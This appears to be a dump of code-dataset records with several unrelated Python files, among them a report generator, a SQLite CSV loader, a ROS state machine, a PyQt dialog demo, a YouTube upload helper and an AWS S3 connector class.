np.load( ef_save )","sub_path":"efimg.py","file_name":"efimg.py","file_ext":"py","file_size_in_byte":7068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"288224736","text":"#!/usr/bin/python\n\n\"\"\"\nFile/Module name: .py)\nAuthor: , u<5251400>\nDate: <7 April 2014>\nDescription: The Summary Report generator \n\"\"\"\n\nimport datetime\n\n# read a list and change it to html format\ndef generate_list(lst):\n output = \"
    \"\n for ele in lst:\n output += \"
  • \" + ele\n output += \"
\"\n \n return output\n \n\n# open an HTML file to show output in a browser\nHTMLFILE = 'build/snapshots/snapshotReport.html'\nf = open(HTMLFILE, 'w+')\ncss = \"\"\nf.write(\"\")\nf.write(css)\nf.write(\"\")\nf.write(\"\")\n\n\nf.write(\"

Armidale Snapshop Summary Report

\")\n\n# print time\ni = datetime.datetime.now()\ntime = \"\"\ntime = \"Generated \" + str(i.day) + \"/\" + str(i.month) + \"/\" + str(i.year) + \" at \"+ str(i.hour) + \":\" + str(i.minute) + \":\" + str(i.second)\n\nf.write(\"

\")\nf.write(time)\nf.write(\"

\")\n\n\n# files changes\nf.write(\"

File Changes

\")\n# A\nadded = 0\n# M\nmodified = 0\n# R\ndeleted = 0\n# ! (Missing)\nmissing = 0\n# ? (unknowsn)\nunknown = 0\n\nfhand = open(\"build/snapshots/hgStatus.txt\")\n\nfor line in fhand:\n line = line.strip()\n if line[0] == \"A\":\n added += 1\n if line[0] == \"M\":\n modified += 1\n if line[0] == \"R\":\n deleted += 1\n if line[0] == \"!\":\n missing += 1\n if line[0] == \"?\":\n unknown += 1\n\nfc_lst = [added,modified,deleted,missing,unknown]\nfc_lst[0] = str(fc_lst[0]) + \" file(s) added\"\nfc_lst[1] = str(fc_lst[1]) + \" file(s) modified\"\nfc_lst[2] = str(fc_lst[2]) + \" file(s) deleted\"\nfc_lst[3] = str(fc_lst[3]) + \" file(s) are missing\"\nfc_lst[4] = str(fc_lst[4]) + \" file(s) are unknown to Mercurial\"\n\nf.write(generate_list(fc_lst))\n\n\n# line counts\nfhand = open(\"build/snapshots/countJava.txt\")\nnum_file = 0\nresult_line = \"\"\nfor line in fhand:\n num_file += 1\n line = line.strip()\n if line[-5:] != \".java\":\n result_line = line\n num_file -= 1\n \n\nlst = []\nlst = result_line.split()\nlst2 = []\n\n# remove %\nfor element in lst:\n temp = \"\"\n for char in element:\n if char == \"(\":\n break\n else:\n temp +=char\n lst2.append(temp)\n\n# remove TOTAL\nlst2.pop()\n\nlst2[0] = lst2[0] + \" total lines\"\nlst2[1] = lst2[1] + \" source lines of code\"\nlst2[2] = lst2[2] + \" comments\"\nlst2[3] = lst2[3] + \" blank lines\"\n\nf.write(\"

Line Counts

\")\nf.write(str(num_file) + \" Java source files counted\")\nf.write(\"

\")\nf.write(generate_list(lst2))\n\n\n# test results\nf.write(\"

Test Results

\")\n\ntest_suite = \"\"\nrun = \"\"\nlst3 = []\nlst4 = []\nfhand = open(\"build/snapshots/TEST-armidale.api.io.FileTest.txt\")\nfor line in fhand:\n line = line.strip()\n if line[:9] == \"Testsuite\":\n test_suite = line\n if line[:9] == \"Tests run\":\n run = line\n\nlst3 = run.split(\",\")\n# remove letters\nfor element in lst3:\n temp = \"\"\n for char in element:\n if char.isdigit():\n temp += char\n lst4.append(temp)\n\n# remove Time elapsed\nlst4.pop()\n\nlst4[0] = lst4[0] + \" test runs\"\nlst4[1] = lst4[1] + \" failed\"\nlst4[2] = lst4[2] + \" passed\"\nlst4[3] = lst4[3] + \" errors\"\n\nf.write(test_suite)\nf.write(\"

\")\nf.write(generate_list(lst4))\n\n\n# possible bugs\nf.write(\"

Possible Bug

\")\nf.write(\"\")\nf.close()\n","sub_path":"lab7/SummaryReportGenerator.py","file_name":"SummaryReportGenerator.py","file_ext":"py","file_size_in_byte":3472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"163502526","text":"#!/usr/bin/python3\n\n# Author: Connor McLeod\n# Contact: con.mcleod92@gmail.com\n# Source code: https://github.com/con-mcleod/MonthlyPerf_Report\n# Latest Update: 10 August 2018\n\nimport sys, csv, sqlite3, os, glob, re\nfrom collections import defaultdict\n\nmonthList = [1,2,3,4,5,6,7,8,9,10,11,12]\n\n##############################\n# #\n# SQL DATABASE CREATION #\n# #\n##############################\n\ndef create_tables(cxn):\n\t\"\"\"\n\tFunction to create tables in sqlite3\n\t:param cxn: the connection to the sqlite3 database\n\t:return:\n\t\"\"\"\n\n\tcursor = cxn.cursor()\n\n\tcursor.execute(\"DROP TABLE IF EXISTS DAILY_GEN\")\n\n\tcursor.execute(\"\"\"CREATE TABLE IF NOT EXISTS DAILY_GEN(\n\t\tSMI varchar(10),\n\t\tdatatype varchar(30), \n\t\tobs_day int,\n\t\tobs_month int,\n\t\tobs_year int,\n\t\tvalue float,\n\t\tunique(SMI, obs_day, obs_month, obs_year)\n\t\t)\"\"\")\n\n\tcursor.close()\n\n##############################\n# #\n# Database handling #\n# #\n##############################\n\ndef dbselect(cxn, query, payload):\n\t\"\"\"\n\tFunction to select data from an sqlite3 table\n\t:param cxn: connection to the sqlite3 database\n\t:param query: the query to be run\n\t:param payload: the payload for any query parameters\n\t:return results: the results of the search\n\t\"\"\"\n\tcursor = cxn.cursor()\n\tif not payload:\n\t\trows = cursor.execute(query)\n\telse:\n\t\trows = cursor.execute(query,payload)\n\tresults = []\n\tfor row in rows:\n\t\tresults.append(row)\n\tcursor.close()\n\treturn results\n\ndef dbexecute(cxn, query, payload):\n\t\"\"\"\n\tFunction to execute an sqlite3 table insertion\n\t:param cxn: connection to the sqlite3 database\n\t:param query: the query to be run\n\t:param payload: the payload for any query parameters\n\t:return:\n\t\"\"\"\n\tcursor = cxn.cursor()\n\tif not payload:\n\t\tcursor.execute(query)\n\telse:\n\t\tcursor.execute(query, payload)\n\n##############################\n# #\n# Helper functions #\n# #\n##############################\n\ndef month_to_num(month):\n\t\"\"\"\n\tFunction to convert the month string to an integer\n\t:param month: the month as a String\n\t:return: return an integer to represent the month\n\t\"\"\"\n\tif month == \"Jan\": \n\t\treturn 1\n\telif month == \"Feb\":\n\t\treturn 2\n\telif month == \"Mar\":\n\t\treturn 3\n\telif month == \"Apr\":\n\t\treturn 4\n\telif month == \"May\":\n\t\treturn 5\n\telif month == \"Jun\":\n\t\treturn 6\n\telif month == \"Jul\":\n\t\treturn 7\n\telif month == \"Aug\":\n\t\treturn 8\n\telif month == \"Sep\":\n\t\treturn 9\n\telif month == \"Oct\":\n\t\treturn 10\n\telif month == \"Nov\":\n\t\treturn 11\n\telif month == \"Dec\":\n\t\treturn 12\n\telse:\n\t\treturn 0\n\n\ndef daily_gen_insert(cxn, SMI, datatype, day, month, year, enc_dataset):\n\t\"\"\"\n\tFunction to insert into the daily_gen table\n\t:param cxn: the connection to the sqlite3 table\n\t:param SMI: the SMI\n\t:param datatype: the type of data collected - in this case it is kWh Generation\n\t:param day: the day of interest\n\t:param month: the month of interest\n\t:param year: the year of interest\n\t:param enc_dataset: the generation data from Encompass\n\t:return:\n\t\"\"\"\n\tquery = \"\"\"INSERT OR IGNORE INTO DAILY_GEN(SMI, datatype, \n\t\tobs_day, obs_month, obs_year, value) VALUES (?,?,?,?,?,?)\"\"\"\n\tpayload = (SMI, datatype, day, month, year, enc_dataset)\n\tdbexecute(cxn, query, payload)\n\n##############################\n# #\n# READ IN ENCOMPASS REPORT #\n# #\n##############################\n\nif __name__ == '__main__':\n\n\t# terminate program if not executed correctly\n\tif (len(sys.argv) != 2):\n\t\tprint (\"Usage: python3 all_sitesify.py \")\n\t\texit(1)\n\n\t# set up the locations for data retrieval and storage, connect to db and create tables\n\tDATABASE = \"dataset.db\"\n\tcxn = sqlite3.connect(DATABASE)\n\tcreate_tables(cxn)\n\tenc_folder = sys.argv[1]\n\t\n\t# variables for counting how much data is processed\n\tdata_count = 0\n\tSMI_count = 0\n\n\t# for each encompass file in the encompass folder collect and store the data\n\tencompass_files = os.path.join(enc_folder,\"*\")\n\tfor file in glob.glob(encompass_files):\n\n\t\trow_count = 0\n\t\tcolumns = defaultdict(list)\n\t\tenc_SMIs = []\n\n\t\t# read each csv file by transcribing rows to columns for simpler extraction\n\t\twith open(file,'r', encoding='utf-8') as enc_in:\n\t\t\treader = csv.reader(enc_in)\n\t\t\tfor row in reader:\n\t\t\t\tfor (i,v) in enumerate(row):\n\t\t\t\t\tcolumns[i].append(v)\n\t\t\t\trow_count += 1\n\n\t\t# for each column extract the specific data and store into the database\n\t\tfor col in columns:\n\t\t\tSMIs = re.findall(r'[a-zA-Z0-9]{10}',columns[col][0])\n\t\t\tdatatype = columns[col][0].split(\"- \")[-1]\n\t\t\tenc_dataset = columns[col][1:]\n\t\t\tdates = columns[0][1:]\n\n\t\t\tfor SMI in SMIs:\n\t\t\t\tif bool(re.search(r'\\d', SMI)) == False:\n\t\t\t\t\tpass\n\t\t\t\telse:\n\t\t\t\t\t\n\t\t\t\t\tif SMI not in enc_SMIs:\n\t\t\t\t\t\tenc_SMIs.append(SMI)\n\t\t\t\t\t\tprint (\"Collating daily data for SMI: \" + SMI)\n\t\t\t\t\tif (SMI and (datatype==\"kWh Generation\" or datatype==\"kWh Generation Generation\"\n\t\t\t\t\t\tor datatype==\"kWh Generation B1\")):\n\t\t\t\t\t\tSMI_count += 1\n\t\t\t\t\t\tfor i in range(row_count-1):\n\t\t\t\t\t\t\tif (len(dates[i]) < 11):\n\t\t\t\t\t\t\t\tday = re.sub(r'-.*', '', dates[i])\n\t\t\t\t\t\t\t\tmonth = re.sub(r'[^a-zA-Z]', '', dates[i])\n\t\t\t\t\t\t\t\tmonth = month_to_num(month)\n\t\t\t\t\t\t\t\tyear = re.sub(r'.*-', '', dates[i])\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tday = dates[i][4:6]\n\t\t\t\t\t\t\t\tmonth = month_to_num(dates[i][7:10])\n\t\t\t\t\t\t\t\tyear = dates[i][13:15]\n\t\t\t\t\t\t\tif (month in monthList):\n\t\t\t\t\t\t\t\tdaily_gen_insert(cxn, SMI, datatype, day, month, year, enc_dataset[i])\n\t\t\t\t\t\t\tdata_count += 1\n\n\tcxn.commit()\n\tcxn.close()\n\n\tprint (\"Complete!\")\n\tprint (\"Collated \" + str(data_count) + \" data points for \" + str(SMI_count) + \" unique SMIs\")","sub_path":"all_sitesify.py","file_name":"all_sitesify.py","file_ext":"py","file_size_in_byte":5631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"223950851","text":"import smach\nimport rospy\nimport threading\nfrom std_msgs.msg import String\n\nclass WaitTopicNewState(smach.State):\n def __init__(self, topic, tp):\n smach.State.__init__(self, outcomes=['succeeded', 'preempted', 'aborted'], io_keys=['data'])\n self.topic = topic\n self.tp = tp \n self.executing = None\n self.data = None\n self.event = threading.Event()\n rospy.Subscriber(\"telegram/medicine\", String, self.callback)\n\n def callback(self, req):\n if self.executing == True:\n self.data = req.data\n print(\"*********************\")\n print(f\"REQ DATA: {req.data}\")\n\n self.executing = False\n self.event.set()\n\n def execute(self, userdata):\n self.event.clear()\n self.executing = True\n self.event.wait()\n if self.event.is_set():\n userdata.data = self.data\n print(\"***************************************\")\n print(f\"Userdata data: {userdata.data}\")\n return 'succeeded'\n if self.preempt_requested():\n return 'preempted'\n \n return 'aborted'\n \n def request_preempt(self):\n super().request_preempt()\n","sub_path":"src/butia_behavior/states/wait_topic_new.py","file_name":"wait_topic_new.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"561238888","text":"#!/usr/bin/env python3\n# -*- coding: UTF-8 -*-\n\n\"\"\"\nHandling of the writing system of the language.\n\"\"\"\n\nfrom importlib import import_module\nfrom typing import Callable, Set\n\nfrom django.conf import settings\n\n\nclass Orthography:\n class _Converter:\n def __getitem__(self, code: str) -> Callable[[str], str]:\n path = settings.MORPHODICT_ORTHOGRAPHY[\"available\"][code].get(\n \"converter\", None\n )\n if path is None:\n return lambda text: text\n\n *module_path, callable_name = path.split(\".\")\n module = import_module(\".\".join(module_path))\n return getattr(module, callable_name)\n\n converter = _Converter()\n\n @property\n def default(self) -> str:\n return settings.MORPHODICT_ORTHOGRAPHY[\"default\"]\n\n @property\n def available(self) -> Set[str]:\n return set(settings.MORPHODICT_ORTHOGRAPHY[\"available\"].keys())\n\n def name_of(self, code: str) -> str:\n \"\"\"\n Get the plain English name of the given orthography code.\n \"\"\"\n return settings.MORPHODICT_ORTHOGRAPHY[\"available\"][code][\"name\"]\n\n\nORTHOGRAPHY = Orthography()\n","sub_path":"src/CreeDictionary/morphodict/orthography.py","file_name":"orthography.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"52053964","text":"# -*- coding: utf-8 -*-\n#from adjacent_matrix import *\n#from function_to_create_subsets import *\n#from create_rules import *\n#from functions_to_calculate_the_volume_of_a_partition import *\nfrom break_edges import *\nfrom compare_partitions_volumes_version1 import *\n\n#----------------------------------------------\n# This function takes a set of rules and\n# returns the partition with higher volume\n#\n# Ideally the set of rules is a connected\n# set (called Q).\n# d is a dictionary containing the steps\n# of the different partitions.\n# and leafs are those partitions situated at\n# the leafs of the tree. These are partitions\n# in which all the contradictions have been solved.\n#--------------------------------------------\ndef optimum_partition(Q):\n print(Q)\n [d, leafs] = tee(Q)\n print('this is d',d, 'the leafs ', leafs)\n if leafs != []:\n return max_volume(leafs)\n else:\n if d != {}:\n return d['1,1']\n else:\n return False # There is no partition to do. Probably the connected set has the same class.\n\n# Ejemplos para ver si funciona\nQ = [(5, 4, 'B'), ((1, 2, 3, 8, 11), (4, 6), 'A'), ((9, 12), 5, 'C')]\nQ = [(5, 5, 'B'), ((1, 2, 3, 8, 11), (4, 6), 'A'), ((9, 12), 5, 'C')]\nQ = [(2, 5, 'B'), ((1, 2, 3, 8, 11), (4, 6), 'A'), ((9, 12), 5, 'C')]\n\nQ = [(5, 7, 'B'), ((1, 2, 3, 8, 11), (4, 6), 'A'), ((9, 12), 5, 'C')]\n\nQ = [ (3,7,'B'), ((1, 4), (6, 8), 'A') ]\nprint(optimum_partition(Q))\n\n#[d, leafs] = tee([[(9, 12), 5, 'C'], [(1, 2, 3, 8, 11), (4, 6), 'A'], [5, (4, 11), 'B']] )\n#[ d, leafs ] = tee( [[(9, 12), 5, 'C'], [(1, 2, 3, 8, 11), (4, 6), 'A'], [5, (4, 5), 'B']] )\n#print(d)\n#print(leafs)\n#print(' Optimum partition', optimum_partition( [[(9, 12), 5, 'C'], [(1, 2, 3, 8, 11), (4, 6), 'A'], [5, (4, 11), 'B']] ) )\n#print('optimim partition',optimum_partition( [ [(9, 12), 5, 'C'], [(1, 2, 3, 8, 11), (4, 6), 'A'], [5, (4, 5), 'B'] ] ) )\n\n\n\"\"\"\nExamples:\n\nconnected_rules = [\n [(5, 4, 'B'), ((1, 2, 3, 8, 11), (4, 6), 'A'), ((9, 12), 5, 'C')],\n \n [((6, 9), 11, 'A'), (8, (10, 14), 'A')],\n \n [(12, (10, 13), 'B'), ((11, 13), (11, 13), 'D')]\n ]\n\nQ = [(5, 4, 'B'), ((1, 2, 3, 8, 11), (4, 6), 'A'), ((9, 12), 5, 'C')]\noptimum_partition(Q)\n\n\nQ = [((6, 9), 11, 'A'), (8, (10, 14), 'A')]\noptimum_partition(Q)\n\n\nQ = [(12, (10, 13), 'B'), ((11, 13), (11, 13), 'D')]\noptimum_partition(Q)\n\n\"\"\"\n","sub_path":"optimum_partition_for_Q.py","file_name":"optimum_partition_for_Q.py","file_ext":"py","file_size_in_byte":2396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"113601951","text":"from CRABClient.UserUtilities import config\nconfig = config()\nconfig.General.requestName = 'PbPb2015_PromptReco_MinBias2_263099'\nconfig.General.transferLogs = True\nconfig.General.transferOutputs = True\nconfig.section_('JobType')\nconfig.JobType.outputFiles = ['PbPb2015_PromptReco_MinBias2_263099.root']\nconfig.JobType.pyCfgParams = ['noprint']\nconfig.JobType.pluginName = 'Analysis'\nconfig.JobType.psetName = 'RunForwardAnalyzer_PbPb2015shell.py'\nconfig.Data.inputDataset = '/HIMinimumBias2/HIRun2015-PromptReco-v1/AOD'\nconfig.Data.splitting = 'LumiBased'\nconfig.Data.unitsPerJob = 20\nconfig.Data.publication = False\nlumi_mask='Cert_262548-263757_PromptReco_HICollisions15_JSON.txt'\nconfig.Data.outLFNDirBase = '/store/user/wmcbraye'\nconfig.Data.runRange = '263099'\nconfig.Site.storageSite = 'T2_US_Vanderbilt'\n","sub_path":"crab/crabsubmitcfg.py","file_name":"crabsubmitcfg.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"648995522","text":"# -*- coding: utf-8 -*-\n# @Author: Climax\n# @Date: 2022-07-06 16:25:20\n# @Last Modified by: Climax\n# @Last Modified time: 2022-07-08 18:38:49\n\n\n\nimport sys\n\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QVBoxLayout, QPushButton, QLabel, QMessageBox\n\nclass MainWindow(QMainWindow):\n\n\tdef __init__(self):\n\t\tsuper().__init__()\n\t\tself.setWindowTitle(\"App\")\n\n\n\t\t# functionality\n\t\tbutton = QPushButton(\"Press me, get a dialog!\")\n\t\tbutton.clicked.connect(self.button_clicked)\n\t\tself.setCentralWidget(button)\n\n\tdef button_clicked(self, s):\n\t\tprint('click', s)\n\n\t\tdlg = QMessageBox(self)\n\n\n\t\tdlg.setWindowTitle(\"Hey you there\")\n\n\t\tdlg.setText(\"You are doing great right?\")\n\t\tdlg.setStandardButtons(QMessageBox.Yes | QMessageBox.No | QMessageBox.Ignore)\n\t\tdlg.setIcon(QMessageBox.Question)\n\t\tbutton = dlg.exec_()\n\n\t\tif button == QMessageBox.Yes:\n\t\t\tprint(\"Yes\")\n\t\telif button == QMessageBox.Ignore:\n\t\t\tprint(\"He actually ignored me\")\n\n\n\n\napp = QApplication(sys.argv)\n\nwindow = MainWindow()\nwindow.show()\napp.exec_()\n\n","sub_path":"PyQt5-research/basic/dialogs/dialogs_4.py","file_name":"dialogs_4.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"459301998","text":"from crack import celery_app\n# import shlex\nimport subprocess\nimport logging\n\n\ndef run_shell_command1(hash):\n try:\n command_line_process = subprocess.Popen(\n \"df -h\",\n shell=True,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT,\n )\n\n for l in iter(command_line_process.stdout.readline, b''):\n logging.info(l.strip())\n\n command_line_process.communicate()\n command_line_process.wait()\n\n except (OSError, subprocess.CalledProcessError) as exception:\n logging.info('Exception occured: ' + str(exception))\n logging.info('Subprocess failed')\n return False\n else:\n # no exception was raised\n logging.info('Subprocess finished')\n\n return True\n\n\ndef run_shell_command2(hash):\n try:\n command_line_process = subprocess.run([\"curl\", \"-I\",\"www.google.com\"], check=False, capture_output=True, text=True)\n # for l in iter(command_line_process.stdout, b''):\n # logging.info(l.strip())\n value = command_line_process.stdout.splitlines()\n for line in value:\n logging.info(line.strip())\n\n except (OSError, subprocess.CalledProcessError) as exception:\n logging.info('Exception occured: ' + str(exception))\n logging.info('Subprocess failed')\n return False\n else:\n # no exception was raised\n logging.info('Subprocess finished')\n\n return True\n\n\n@celery_app.task\ndef pojie(hash):\n run_shell_command2(hash)\n print(\"crack with hash key:\" + hash + \" ok done!\")\n return \"this is result\"\n","sub_path":"jobs/joblist.py","file_name":"joblist.py","file_ext":"py","file_size_in_byte":1604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"328865274","text":"import argparse\nimport time\nimport random\nimport http.client\nimport httplib2\n\nfrom googleapiclient.discovery import build\nfrom googleapiclient.errors import HttpError\nfrom googleapiclient.http import MediaFileUpload\n\nfrom oauth2client.client import flow_from_clientsecrets\nfrom oauth2client.tools import run_flow\nfrom oauth2client.file import Storage\n\nMAX_YOUTUBE_TITLE_LENGTH = 100\nMAX_YOUTUBE_DESCRIPTION_LENGTH = 5000\nMAX_YOUTUBE_TAGS_LENGTH = 500\n\n#see list of categories in categories.txt\nYOUTUBE_CATEGORIES_ID_LIST = (1, 2, 10, 15, 17, 18, 19, 20, 21, 22, 23, 24, 25,\n 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37,\n 38, 39, 40, 41, 42, 43, 44)\n\nYOUTUBE_CATEGORIES_DICT = {'film': 1, 'animation': 1,\n 'autos': 2, 'vehicles': 2,\n 'music': 10,\n 'pets': 15, 'animals':15,\n 'sports': 17,\n 'short movies': 18,\n 'travel': 19, 'events': 19,\n 'gaming': 20,\n 'videoblogging': 21,\n 'people': 22, 'blogs':22,\n 'comedy': 23,\n 'entertainment': 24,\n 'news': 25, 'politics': 25,\n 'howto': 26, 'style': 26,\n 'education': 27,\n 'science': 28, 'technology': 28,\n 'nonprofits': 29, 'activism': 29,\n 'movies': 30,\n 'anime': 31, 'animation':31,\n 'action': 32, 'adventure': 32,\n 'classics': 33,\n 'comedy': 34,\n 'documentary': 35,\n 'drama':36,\n 'family': 37,\n 'foreign': 38,\n 'horror': 39,\n 'sci-fi': 40, 'fantasy': 40,\n 'thriller': 41,\n 'shorts': 42,\n 'shows': 43,\n 'trailers': 44}\n\nYOUTUBE_LICENCES_LIST = ['creativeCommon', 'youtube']\n\n\nhttplib2.RETRIES = 1\n# Maximum number of times to retry before giving up.\nMAX_RETRIES = 10\n\n# Always retry when these exceptions are raised.\nRETRIABLE_EXCEPTIONS = (httplib2.HttpLib2Error, IOError, http.client.NotConnected,\n http.client.IncompleteRead, http.client.ImproperConnectionState,\n http.client.CannotSendRequest, http.client.CannotSendHeader,\n http.client.ResponseNotReady, http.client.BadStatusLine)\n\n\n# Always retry when an apiclient.errors.HttpError with one of these status\n# codes is raised.\nRETRIABLE_STATUS_CODES = [500, 502, 503, 504]\nSCOPE = ['https://www.googleapis.com/auth/youtube']\nAPI_SERVICE_NAME = 'youtube'\nAPI_VERSION = 'v3'\nVALID_PRIVACY_STATUSES = ('public', 'private', 'unlisted')\n\n\ndef generate_upload_body(video):\n body = dict()\n\n snippet = dict()\n if not video.title is None:\n snippet.update({\"title\": video.title})\n else:\n Exception(\"Title is required\")\n if not video.description is None:\n snippet.update({\"description\": video.description})\n if not video.tags is None:\n snippet.update({\"tags\": video.tags})\n if not video.category is None:\n snippet.update({\"categoryId\": video.category})\n else:\n Exception(\"Category is required\")\n if not video.default_language is None:\n snippet.update({\"defaultLanguage\": video.default_language})\n body.update({\"snippet\": snippet})\n\n if video.status_set:\n status = dict()\n if not video.embeddable is None:\n status.update({\"embeddable\": video.embeddable})\n if not video.license is None:\n status.update({\"license\": video.license})\n if not video.privacy_status is None:\n status.update({\"privacyStatus\": video.privacy_status})\n if not video.public_stats_viewable is None:\n status.update({\"publicStatsViewable\": video.public_stats_viewable})\n if not video.publish_at is None:\n status.update({\"publishAt\": video.embeddable})\n body.update({\"status\": status})\n \n return body\n\n \n\ndef initialize_upload(channel, video):\n body = generate_upload_body(video)\n\n # Call the API's videos.insert method to create and upload the video.\n insert_request = channel.videos().insert(\n part=','.join(list(body.keys())),\n body=body,\n media_body=MediaFileUpload(video.get_file_path(), chunksize=-1, resumable=True)\n )\n\n return resumable_upload(insert_request)\n\n\n# This method implements an exponential backoff strategy to resume a\n# failed upload.\ndef resumable_upload(request):\n response = None\n error = None\n retry = 0\n while response is None:\n try:\n print('Uploading file...')\n status, response = request.next_chunk()\n if response is not None:\n if 'id' in response:\n print(('Video https://www.youtube.com/watch?v=%s was successfully uploaded.' %\n response['id']))\n UPLOAD_STATUS = True\n else:\n exit('The upload failed with an unexpected response: %s' % response)\n except HttpError as e:\n if e.resp.status in RETRIABLE_STATUS_CODES:\n error = 'A retriable HTTP error %d occurred:\\n%s' % (e.resp.status,\n e.content)\n else:\n raise\n except RETRIABLE_EXCEPTIONS as e:\n error = 'A retriable error occurred: %s' % e\n\n if error is not None:\n print(error)\n retry += 1\n if retry > MAX_RETRIES:\n return False\n\n max_sleep = 2 ** retry\n sleep_seconds = random.random() * max_sleep\n print('Sleeping %f seconds and then retrying...' % sleep_seconds)\n time.sleep(sleep_seconds)\n return True","sub_path":"simple_youtube_api/youtube_api.py","file_name":"youtube_api.py","file_ext":"py","file_size_in_byte":6222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"462964564","text":"# you can write to stdout for debugging purposes, e.g.\n# print(\"this is a debug message\")\n\n# https://app.codility.com/demo/results/training22DKD2-V2K/\ndef solution(A):\n # write your code in Python 3.6\n B = sorted(A)\n\n count = 0\n before = -1000001\n for num in B:\n if num != before:\n count += 1\n before = num\n\n return count\n","sub_path":"Codility/6-1.Distinct.py","file_name":"6-1.Distinct.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"394248576","text":"from collections import defaultdict\n\nfrom aoc_parser import Parser\n\n\nFILE_NAME = 'data'\n\n\nclass Action:\n\n def __init__(self, value):\n self.value = value\n\n def apply(self, current, v2):\n return self.apply_v2(current) if v2 else self.apply_v1(current)\n\n def apply_v1(self, current):\n if self.value == 'turn on':\n return 1\n elif self.value == 'turn off':\n return 0\n elif self.value == 'toggle':\n return 1 - current\n else:\n raise Exception('Unknown state changer: {}'.format(self.value))\n\n def apply_v2(self, current):\n if self.value == 'turn on':\n return current + 1\n elif self.value == 'turn off':\n return max(current - 1, 0)\n elif self.value == 'toggle':\n return current + 2\n else:\n raise Exception('Unknown state changer: {}'.format(self.value))\n\n\nclass PointRange:\n\n def __init__(self, value):\n bottom_left = self.to_point(value[0])\n top_right = self.to_point(value[2])\n self.points = self.to_points(bottom_left, top_right)\n\n @staticmethod\n def to_point(coords):\n return [int(coord) for coord in coords.split(',')]\n\n @staticmethod\n def to_points(bottom_left, top_right):\n points = set()\n for x in range(bottom_left[0], top_right[0] + 1):\n for y in range(bottom_left[1], top_right[1] + 1):\n points.add((x, y))\n return points\n\n\nclass Direction:\n\n def __init__(self, value):\n value = value.split()\n self.action = Action(' '.join(value[:-3]))\n self.point_range = PointRange(value[-3:])\n\n def apply(self, grid, v2):\n for point in self.point_range.points:\n grid[point] = self.action.apply(grid[point], v2)\n\n\ndef main():\n directions = get_directions()\n # Part 1: 400410\n print('Part 1: {}'.format(run_grid(directions, False)))\n # Part 2: 15343601\n print('Part 2: {}'.format(run_grid(directions, True)))\n\n\ndef run_grid(directions, v2):\n grid = defaultdict(int)\n for direction in directions:\n direction.apply(grid, v2)\n return sum(grid.values())\n\n\ndef get_directions():\n return [Direction(line) for line in Parser(FILE_NAME).lines()]\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"2015/06/solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":2305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"583485971","text":"import cv2\nimport numpy as np\n\n# load the source image\nimg = cv2.imread('Gambar.jpg')\n\n# convert it to grayscale\nimg_yuv = cv2.cvtColor(img, cv2.COLOR_BGR2YUV)\n\n# apply histogram equalization\nimg_yuv[:, :, 0] = cv2.equalizeHist(img_yuv[:, :, 0])\nhist_eq = cv2.cvtColor(img_yuv, cv2.COLOR_YUV2BGR)\n\n# display both images (original and equalized)\ncv2.imshow(\"equalizeHist\", np.hstack((img, hist_eq)))\ncv2.waitKey(0)\n","sub_path":"Histogram Equalisation.py","file_name":"Histogram Equalisation.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"187006798","text":"import boto3\nfrom json import loads, dump\nimport pandas as pd\nimport os\nimport sys \nfrom io import StringIO\nfrom botocore.exceptions import ClientError\nimport logging\n\n\ncurrent_client = None\nclients = {}\n\nclass AWS_Connector():\n '''\n To use AWS_Connector, import the module.\n ex: import aws_connector as ac\n First, make an instance of class Connector()\n ex: c = ac.AWS_Connector()\n Second, use set_credentials to set the credentials for a bucket you intend to access.\n This will add the credentials you provided to a dictionary.\n You will have to call this method for as many accounts as you need to use.\n ex: c.set_credentials(userName, aws_id, aws_secret)\n Third, use select_credential to specify which user you would like to use for a method call.\n ex: c.select_credential(userName)\n Finally, perform your bucket operations with the r/w csv and json methods.\n '''\n\n def set_credentials(self, user, aws_id, aws_secret):\n '''First, set_credentials creates a client, allowing it the permissions of the associated user.\n Next, the client is stored in a dict for later access'''\n self.user = user\n self.aws_id = aws_id\n self.aws_secret = aws_secret\n client = boto3.client('s3', aws_access_key_id = aws_id, aws_secret_access_key = aws_secret)\n global clients\n clients[user] = client\n\n def select_credential(self, user):\n '''sets the instance variable \"current_client\"'''\n global current_client\n global clients\n self.user = user\n current_client = clients[user]\n\n def config_credentials(self):\n user = input(\"enter a user\")\n aws_id = input(\"enter an aws_id\")\n aws_secret = input(\"enter a secret id\")\n self.set_credentials(user = user, aws_id = aws_id, aws_secret = aws_secret)\n self.select_credential(user = user)\n\n def upload_to_aws(self, s3_filename, bucket_name):\n try:\n current_client.upload_file(s3_filename, bucket_name, s3_filename)\n print(f'Successfully uploaded {s3_filename} to {bucket_name}')\n except ClientError as e:\n logging.error(e)\n return False\n os.remove(s3_filename)\n\n\n def read_csv(self, s3_filename, bucket_name, view_mode=False):\n '''\n 